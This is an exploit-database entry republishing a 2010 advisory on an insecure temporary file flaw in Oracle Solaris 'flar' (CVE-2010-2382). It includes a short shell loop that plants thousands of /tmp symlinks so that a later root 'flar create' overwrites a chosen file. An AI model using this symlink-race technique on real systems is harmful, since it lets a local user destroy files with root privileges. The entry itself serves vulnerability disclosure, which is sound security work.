Oracle Solaris 8/9/10 - 'flar' Insecure Temporary File Creation Vulnerability

2010-07-12T00:00:00
ID EDB-ID:34311
Type exploitdb
Reporter Frank Stuart
Modified 2010-07-12T00:00:00

Description

Oracle Solaris 8/9/10 'flar' Insecure Temporary File Creation Vulnerability. CVE-2010-2382. Local exploit for solaris platform

                                        
                                            source: http://www.securityfocus.com/bid/41619/info

Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

Oracle Solaris 8, 9 and 10 are vulnerable. 


   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done

Later, when root creates a flash archive with:

   # flar create -n junk `pwd`/junk.flar